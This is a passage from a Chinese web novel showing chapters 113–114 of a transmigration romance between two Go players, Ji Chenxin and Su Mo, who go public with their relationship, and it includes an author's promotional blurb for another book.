他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。 第113章 苏陌比赛的日子, 纪辰新算是数着日子在过。 他每天早上起来之后,还是会喝一袋苏陌送他的牛奶,这都是那家伙临走前, 提前拿过来的。 说是一天一袋,每天都要喝,回来要检查。 当时,纪辰新还很无语,“这会儿怎么知道一次性给够量了,前些天还一袋一袋地给呢, 也不嫌麻烦!” 苏陌柔和地看着他, 轻笑道, “那当然是为了每天能见到你啊,想你每天早上都期待着我的到来,思念我。” “等哪天, 牛奶喝完了, 就意味着我要回来了。” 此刻, 纪辰新正喝着最后一袋牛奶, 随手就给苏陌发去了消息, 【今天是最后一袋了噢。】 比赛期间的苏陌,消息回复不算及时。 大概过了十多分钟, 纪辰新才收到他的消息, 【嗯, 今天是最后一天了,上午一场,下午一场,比完我就回来了。】 【有没有想我?】 纪辰新正在赶往教室的路上,收到消息, 嘴角一弯,【你说呢?】 苏陌很快回复,【我反正是想你了。】 纪辰新这些日子,其实很少给他发消息,主要是怕打扰到他比赛。 今天还是头一遭,他自己主动发消息过去。 所以,苏陌很敏锐地察觉到了他的情绪,问他是不是想他了。 纪辰新来到了教室,将书本放下,在上课铃响之前,回复道,【我当然也想你啊,好好比赛,听到没,不要三心二意。】 苏陌几乎秒回,【嗯,知道,你今天晚上来接我吗?】 他问的小心翼翼,那颗期盼见到恋人的心已然达到了顶峰。 纪辰新看了下课表,【你几点的飞机?】 苏陌:【机票还没定呢,要等下午比完赛才能确定时间。】 纪辰新再次仔细看了下课表,随后道,【好,知道了。】 那边过了两分钟才回复,【我要准备上场了,先不说了,等我回来找你。】 纪辰新看着手机屏幕,盯着最后那几个字,犹豫了好一会儿,才终于下定了决心,他要去找苏陌。 今天是5月17日了,算是原著小说的最后一天,世界末日。 任务能不能完成,谁也不知道,但他就是想亲眼看着苏陌拿到九段,陪着他度过这无比重要的一天。 如此一来,他上课的心思全然没了。 苏衍坐在他旁边,敏锐地察觉到了他的心绪不宁,于是低声问了句,“你怎么了,这么坐立不安,是发生了什么事吗?” 纪辰新扭头看着他,“如果说我要逃课,你帮不帮我?” 苏衍目光有一瞬间的错愕,紧接着却神奇地点了下头,“你想干嘛?算了,你想做什么就去做吧,下节课点名,我帮你应。” “还有下午的课,你也不用担心,交给我。” 纪辰新深深看了他一眼,难得信任道,“好,那麻烦你了,回来了请你吃饭。” 苏衍却摇摇头,“不用了,你跟苏陌好好的,比什么都强。” 上个礼拜,他已经亲自去找爷爷问清楚了,得到了自己想要的答案,从此,他再也不羡慕任何人,更不再执着于所谓的父母亲情与苏家资产了。 他打算好好充实自己,学习更多的管理经验,以后为爷爷分忧。 毕竟,老爷子都说了把他当接班人培养,那他就更不能丢份了! * 纪辰新出了教室后,迅速在手机上定了一张赶往夏城的机票。 2013年,部分航班已经支持手机支付,纪辰新在其兴起前,算是体验了一番。 上午十点,纪辰新抵达了机场。 11点半左右,飞机起飞。 经历了三个小时的飞行,于下午两点多,纪辰新下了机。 气都没喘匀,他又拦了辆计程车,直接赶往了比赛地点。 三点四十五分,他终于抵达了赛场。 这种专业赛事,为了保障安静的环境,是不对外开放的,仅允许选手、裁判、媒体及特邀人员入场。 而纪辰新既不属于选手,也不属于裁判、媒体、以及特邀人员,于是直接就被拦在了门口。 他并不气馁,早就知道了这种比赛是没那么容易进去的,现在能跟苏陌呆在同一片区域,也很心满意足了。 而且,距离比赛结束,估计也没多久了,他们很快就能见面的。 就这样,他坦然地在外面等了起来。 大概过了十分钟左右,一辆黑色宾利缓缓在赛场门口停下。 纪辰新为了不挡道,还特意挪了挪位置。 车门打开,首先下来的是两位保镖,随后才是后座举足轻重的人物。 纪辰新就站在旁边张望,想看看到底是谁这么大排场。 后车门被保镖轻缓拉开,一条熨帖的深灰西裤裤线先探了出来,接着是锃亮的手工牛津鞋。 中年男子微侧着身下车,鬓角染着星点霜白,丝毫不显老态。 他戴着一副金丝边眼镜,抬眼时,锐利的目光扫过赛场入口。 他旁边的两位保镖,耳麦线隐在衣领里,目光警惕地扫过四周,在看到纪辰新时,还驱逐了起来,意思是让他走远点,不能靠近三米范围内。 纪辰新无语地后退了两步,等再次抬眼时,却发现三米开外的中年男子正惊诧地盯着他瞧。 他的目光定在他身上一动不动,像是在思考着什么。 纪辰新也不知道他到底在看什么,难道是自己脸上有什么东西? 然而,还不待他想清楚,就见中年男子忽然摘下了眼镜,揉了揉眼眶。 几秒钟过后,中年男子终于惊喜出声,“纪九段?纪辰新九段?还真是你啊!” “你怎么来了?” 纪辰新瞪大了眼睛,指了指自己,“你认识我?” “当然,谁会不认识你啊,你怎么站在外面,不进去?” 中年男子,一脸欣喜,“究竟是什么风把你吹来了?” ‘谁会不认识你?’ 纪辰新下意识看向保安,他就不认识啊 保安也是吓傻了,要知道他现在面前站着的是此次比赛的主办方之一,中国围棋协会的指导员,周总。 结果,周总居然对这少年如此恭敬,还叫他纪九段 九段啊,那是什么概念。 是他万万得罪不起的人物啊! 保安回过神来,立马道歉,“对不起啊,纪九段,是我有眼不识泰山” 纪辰新其实也没想到自己的身份还能有这种作用,他立马拦住了保安的道歉,“欸,不用,闹了个乌龙罢了,是我自己愿意在外面等的。” 周总听了两耳,大概也明白了是什么原因。 赛事严谨,从上到下都制定了严格规章制度,保安也是按例行事,并没有错。 而且有时候就算报上了真名,如果没有证件出示,也可能不好使。 思及此,周总掏出了自己的名片。 “纪九段,这是我的私人电话,如果你以后想出入任何比赛场所,可以直接打给我,我来安排。” 纪辰新本想说不用,但看着周总如此的诚心的份上,还是收下了。 “那就谢了!” 周总摆摆手,表示不用谢,“算我招待不周,走吧,我与你一道进去,估计还有一个小时,比赛就结束了。” 纪辰新一听比赛还要一个小时结束,在外面等,还不如在里面等,就不再推辞。 “好,那便进去吧。” * 进到内场,纪辰新跟随周总到了专用的观赛席。 周总是个会来事的,先是询问了他想看哪位选手的比赛,然后给他安排单独的讲解室,只投放那一位选手的比赛。 纪辰新当然是想看苏陌啦,于是便痛快地让周总安排了。 周总眼睛一亮,“苏陌?没想到纪选手竟如此关心苏陌选手。” “上次媒体,还说你们俩关系好,看来名不虚传啊。” “不过,想看他比赛的人实在太多了,估计没有多余的空间了。” “如果不介意的话,可否愿意跟人挤一挤?” 纪辰新当然不介意,正要说没关系,结果赛场大屏上突然亮起了绿灯,显示第9号桌,黑棋胜。 而那个黑棋胜的旁边还跟了括号,里面的名字,正是苏陌! 纪辰新看到了,周总也看到了。 霎时间,气氛骤然变的尴尬了起来。 周总下意识摸了下鼻子,“那个我也不知道他下那么快啊居然就结束了” 纪辰新扑哧一声笑了,“可能他比较着急吧。” 远处的赛场上,苏陌体面地跟对手握了下手,然后转身匆忙地离开了。 他望了眼时间,四点零三分,现在赶去机场的话,买最早的航班,或许还能约纪辰新晚上一起吃饭。 他计划的很好,等拿到手机,就直接出赛场,打车走。 媒体们早就将采访词想好了,一看到苏陌从赛场出来,瞬间涌了上去。 “苏陌选手,恭喜成功拿下九段,请问您对这最后一次的升段赛,有什么感想?” “此次比赛的难度,您觉得跟上次比怎么样?” “方便简单说两句吗?” “” 苏陌没什么要说的,只觉得这群人碍眼,影响他去见纪辰新了,“大家让让,我赶航班。” 记者没问到自己想问的,当然不愿意放他走。 “说两句吧,苏九段!” “是啊拿到九段之后的规划,能透露一下吗?” 苏陌想要出去的路被围的水泄不通,正当他思考怎么甩掉这些人时,一道声音,陡然吸引了大家的注意力。 “苏陌,恭喜啊!” 那是一道熟悉到刻进骨血,带着独有的尾音轻扬,令他日思夜想的声音。 少年呼吸骤然停滞,猛地抬眼,视线撞开层层围观的人墙,最终撞进了那双含笑的眼里。 他的心脏疯狂擂动,震得耳膜发疼。 纪辰新?! 是他 居然真的是他 他没想到他会来! 惊喜像是电流窜遍了四肢百骸,连指尖都跟着发颤。 苏陌下意识地往前踉跄了半步,全身的肌肉都在叫嚣着冲过去,抱住他。 媒体们的反应也很迅速,看见纪辰新的出现,迅速调整了采访方案。 “纪九段,您怎么在这,请问您是特地来看苏陌选手比赛的吗?” 经历了上次,俩人的传闻,记者们的嗅觉很敏锐,总觉得有什么值得深挖的。 “请问,您和苏陌选手的关系真的如传闻中所说的那样吗?” 一部分的记者围着苏陌,另一部分则死死地堵在了纪辰新跟前。 纪辰新眉眼间带着漫不经心地优雅,“是啊,专门来看他比赛的,结果来晚了,还没看到,就结束了。” “至于和苏陌选手的关系,我不想否认,我们很好很好。” 短短两句话,精准回应了记者们最关心的两个问题。 人群瞬间静了半秒,随即爆发出更热烈的骚动。 “请问,很好是怎么个好法,是朋友的那种,还是恋人的那种?” 所有记者通通来了精神,话筒挤得更近,摄像机的红灯亮成了一片,就连扛机器的摄像师都忍不住往前凑了又凑,生怕漏过少年脸上的任何一丝表情。 纪辰新被围的密不透风,那边苏陌也在被询问,“请问苏陌选手,纪九段说的很好,是哪一种关系?” 苏陌听着纪辰新的回应,脚步生生顿住,满眼是不敢置信的怔忪,连周围的声音都听不真切了。 纪辰新看着眼前一双双发亮的眼睛,忽然轻轻勾了勾唇角,“这个嘛,你们去问他。” 苏陌恍然醒神,他站在那里,脊背挺直如松,胸腔的震动越来越烈,最后他穿过重重包围,朝纪辰新走了过去。 十指相扣的瞬间,直接镇住了满场喧嚣。 他的声音不算大,却带着少年独有的清亮坚定,“正如你们所看到的,我们是这种关系!”—— 作者有话说:预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[抱抱][抱抱][抱抱] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一位星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。《 》 【全文完】 第114章 镁光灯刺目的白光里, 纪辰新感受着苏陌握住他手掌的力度,突如其来的勇气贯穿了他的心脏。 “苏陌,我们私奔吧。” 随着这句话的落下, 苏陌的神色一秒变得决绝,他强硬地将纪辰新从满场的喧哗中拽了出来。 他没回头,目光坚定地扫过惊愕的记者们。 那些议论声、欢呼声通通被他们远远甩在了身后。 手掌心传来滚烫的温度,风从敞开的侧门灌了进来,吹乱了两人的头发。 纪辰新的心跳快得像要撞碎胸腔,这是比任何一盘围棋绝杀都更刺激的奔逃。 大庭广众之下, 他们丢下了身份、荣誉、丢下了所有审视的目光, 只带着彼此的呼吸。 出租车一路向南, 直到咸湿的海风漫进了车窗。 五月的海边,温度刚好,阳光是温软的金色。 纪辰新问苏陌, “你会后悔吗?” 少年牵着他走在沙滩上, 海浪卷着细沙, 一下下舔舐着海岸, “还有机会后悔啊?难道你要抛弃我吗?” 纪辰新笑着捶了他一下, 戏谑道,“这可不一定哦。” “那不行, 这辈子我赖定你了, 生是你的人, 死是你的魂。”苏陌眼底是从未有过的明亮,他伸手替他理了理被风吹乱的额发,随后情不自禁地拥住了他。 纪辰新指腹微微发颤,他仰头闭眼,任海风拂过脸颊, 脑海中媒体的闪光灯、旁人的窃窃私语、此刻仿若都被眼前之人揉碎了,散进了海浪里。 “如果今天是世界末日,你想做什么?” 苏陌缓缓将人轻拉开,抬手扣住了纪辰新的后颈,俩人额头抵着额头,呼吸交缠,“什么都不做,就和你呆在一起。” 纪辰新笑了,“好,那我们就呆在一起。” 他们脱了鞋,赤脚踩在温热的沙滩上,手牵手沿着海岸线走,身后歪歪斜斜地留下了两串脚印。 手机被俩人关了机,他们知道,此时此刻,他们的名字一定被媒体大肆报道。 #棋坛双子星爆热恋#同性恋情引争议#的词条一定会霸占热搜。 有人会在屏幕前磕生磕死,也有人会义正词严地指责他们违背公序良俗。 可那又怎样? 苏陌弯腰捡起一枚贝壳,递到他面前,贝壳上的纹路像极了围棋盘上的经纬。 纪辰新接过,指尖摩挲着冰凉的壳面,笑得肆意又张扬,那是独属于青春热恋的、不管不顾的勇敢。 夜色渐浓,沙滩上的人渐渐散去,只剩下他们俩。 为了避免夜晚降温,冻到,苏陌还特意买来两条厚厚的围巾,给纪辰新披上。 “确定要待到零点吗?” “嗯,必须待到零点。” 纪辰新吸了口苏陌给他买来的热饮,兴趣正浓,“我就是想看看5月18日的凌晨是什么样。” 苏陌由着他,“好,那我就舍命陪君子了” 他们裹着同样的厚围巾,坐在礁石上,远处的城市灯火通明,那里有他们逃开的一切。 可此刻,他们的世界里只有彼此的体温,和耳边的风声。 不知过了多久,手机的屏幕突然亮起,纪辰新下意识摸出来,却发现不是自己的手机在响。 一道淡蓝色的光从他的手腕处亮起,形成一个半透明的光屏,上面跳动着几行字。 【检测到宿主完成终极任务:对世界造成重大影响,成功取代男主,摆脱原著小说桎梏,迎来新的篇章。】 【任务奖励已发放,系统将于一分钟后脱离宿主。】 纪辰新霎时愣住了,他侧头看向身边的苏陌,不知他什么时候竟睡了过去。 海风忽然大了些,纪辰新紧急问道:【系统,任务这就完成了吗?】 系统回答:【是的,宿主,已经平安过渡零点,现在已经是5月18日的凌晨了,我们成功了。】 纪辰新一时怅然若失,【那任务刚完成,你怎么就要走了?】 系统:【宿主,任务一经完成,我就没有存在的必要了,这是程序设置。】 纪辰新疑惑道,【那你刚刚说的任务奖励是什么,我好像从来没听你说起过。】 系统沉默了一会儿才道,【那当然是因为,这是本系统擅自给你的,宿主,这是我用本次任务积分换的,你可要好好珍惜啊!】 纪辰新低头看着手腕上的光屏,心脏不受控制地狂跳起来。 【倒计时:10、9、8】 【奖励生效:清除所有关于宿主与苏陌恋情的负面舆论,保留正向祝福,得到大众认可。】 【系统脱离程序启动3、2、1。】 “叮”地一声,系统的声音就此消息,手腕上的蓝光也泯灭了,像是从未出现过一样。 纪辰新下意识拿出手机,开机的瞬间,无数的消息涌了进来,却没有一条是指责的。 热搜榜上,#棋坛双子星热恋#的词条高高挂起,下面是满屏的祝福,那些不堪的评论,仿佛从未存在过。 一夕之间,他们得到了所有人的认可。 此时,苏陌悠悠转醒,偏头看了眼纪辰新,紧紧攥住了他的手,指尖传来的温度真实而滚烫。 纪辰新疑惑地对上他的视线,“怎么了?” 苏陌摇了摇头,伸手将他拥入了怀中。 海浪拍打着礁石,星星在夜空闪烁,纪辰新靠在苏陌怀里,望着远处的海岸线,平静而永恒。 世界没有了末日,而他的世界,从此有了归处。 * 翌日清晨,苏陌躺在床上,陡然睁眼。 前尘几世的记忆如决堤的洪水,轰然撞进了他空荡荡的灵魂里。 他全部都想起来了。 昨夜零点一过,他忽然听到了纪辰新与系统的对话,进而,他的记忆出现了重组,逐步融合。 经过一晚上的调整,他再次觉醒了。 原来他是一本烂尾小说的主角,作者弃笔那天,这个世界的时间线就卡在了5月17日那天。 在这之后,他试过无数次自杀,刀锋划过手腕的痛感真实得刺骨,可闭眼再睁眼,他依旧逃不过桎梏,所有的挣扎都是徒劳。 他按照原著剧本,重复着一场又一场永无止境的困局。 直到,那日系统的声音冷硬地砸进他的脑海,说要联合作者培养一个新的主角,以此维系这个濒临崩塌的世界。 他嗤笑着拒绝,在他的意念之下,这个世界的一草一木、一人一物,都得听他号令,何需旁人来救? 他不允许任何人越过他的掌控进入他的世界。 所以他摧毁,抗拒,将系统所做的一切努力都付之一炬,白费掉。 后来,他在循环里熬了近百年,万念俱灰到连抬手的力气都没有了,连恨都成了一种奢侈。 而系统跟他耗了这么久,整个统生都陷入了萎靡。 就在事情走入绝境之时,系统没有选择坐以待毙,而是去了一趟主系统那儿,得到了点支持。 它这次回来,是这么说的,“苏陌,我找到了一个千年一遇的奇才,他的数据堪称完美,保管不是之前的那些歪瓜裂枣了,与你形成对抗,他绝对不输,让他试一试吧,这样对你、对我都好,万一成功了呢。” “我整理了他的切片,你要不要看看?” 说罢,系统调出了少年的照片,“他叫纪辰新。” 光屏上,是一位十八岁的少年,穿着白衬衫,站在银杏树下,粲然笑着的模样。 他的眼睛清亮,像盛着一整个夏天的光。 就是这一眼,像是有什么东西,猛地撞进了苏陌沉寂百年的胸腔,震的他血液都叫嚣了起来。 那是一种说不清道不明的共振,像是久别重逢,又像是命中注定。 这次,苏陌鬼使神差地没有制止。 只见,他的指尖悬在了光屏上,冷白的光线映得他眼底一片清寂。 光屏上的画面,被系统拆分成无数碎片的时光切片,纪辰新从一个小不点,逐渐长大成人。 3岁那年,小孩牙牙学语,小小年纪就能背诵唐诗三百首了。 6岁那年,小孩坐在昏黄的台灯下,一手啃着冷馒头,一边写着作业,手指冻的通红。 8岁那年,小孩捧着奖状跑回家,扑进奶奶怀里撒娇。 10岁那年,小孩和奶奶守在电视机前,温馨地吃着年夜饭。 画面陡然跳转到15岁那年,先是医院惨白的灯光,后是少年穿着洗的发白的校服,跪在病床前,死死攥着奶奶枯瘦的手。 他的肩膀绷得笔直,一声不吭,只有指节泛白,泄露了他滔天的悲痛。 再后来是盛夏的烈日,刚高考完的少年,穿着廉价的工装服,在工地搬砖、扛水泥他想攒够下一年的学费,也为自己挣一口饱饭。 然而,天不遂人意,刺耳的刹车声划破了燥热的空气。 货车的灯光刺得人睁不开眼,少年被撞飞出去的瞬间,手里还攥着刚领的,皱巴巴的工钱。 画面定格在他躺在血泊里的模样,白衬衫染成了刺目的红,那双最开始亮的像星星似的眼睛,紧紧闭着。 紧接着,是医院机器的滴滴声,少年生机黯然,逐渐走向死亡。 窗外的银杏还在开着,阳光透过叶隙,在病床上,少年的发顶前洒下细碎的光芒。 光屏暗下去时,苏陌发现自己的指尖,微微发颤。 在这近百年的时光里,他见过无数次生死轮回,也见过了无数种人间苦难。 但在看到碎片里少年的隐忍、倔强且带着暖意的模样,心里那点微不足道的动容,陡然蔓延开来,缠的他心口发紧。 那一瞬间,他忽然想对他好一点。 如果真要有一个人来进入他的世界,他愿意把这个机会赠予给他。 他想赌一把,赌少年能带着他走出这场永无止境的轮回,也赌少年能借着这次重生的机会,看看不一样的人世间。 他想,他们都应该拥有更广阔,更美好的未来! 任务实施前,苏陌提出了自己的要求,“送他到我十岁那年,即便他天资聪颖,却也需要时间来成长” “我知道我是什么样的德性,你好好培养他,一定要在围棋上打败我,多方面赢过我,才有成功的可能。” “还有,如果可以的话,把他奶奶也复活吧。” 系统难为情道,“这个他奶奶早已离世,恕我” 然而,为了苏陌能好好配合,系统最终还是咬着牙应下了,“我尽量还他一个一模一样的奶奶。” 世界兜兜转转,一切都是为了这场水到渠成的成功,以及最后这场圆满的终局。 苏陌踉踉跄跄地跑下了床,他要马上见到纪辰新。 然而,环顾四周,才想起,昨晚他们很晚才找到酒店。 现在,此时此刻过去,只怕是会打扰他睡觉。 就在他犹豫再三,决定再等等时,门外突然传来了敲门声。 “苏陌,你起来没?” 少年听见门板被叩响的刹那,长睫倏地颤了颤,特别是那双清寒的眸子,骤然亮起,像是枯寂雪夜里撞进了星子。 他几乎是凭借着本能冲了过去,一把拧开了房门,门外的人影刚站稳,就被他狠狠拽进了怀里。 苏陌的下巴抵着纪辰新的发顶,胸腔里的心跳震的发疼,连带着声音都发颤,“如果我说,我很早很早之前就认识你了,你信吗?” 纪辰新顺势搂住他的腰,相拥的俩人,如同棋盘上黑白棋子静默,一局未尽的棋,终究抵不过一场如约而至的相逢。 “我信。” 他们本就是天生一对,是棋谱上最合拍的落子,是岁月里最登对的情长。 “苏陌,你说什么,我都会信的!” 正文完—— 作者有话说:啦啦啦,完结啦,后面是番外,do也会在番外~[捂脸偷看]然后呢,番外不会很长,多的话两章,少的话一章,我是倾向于一章写完的,哈哈,争取一章写完[哈哈大笑]。《 》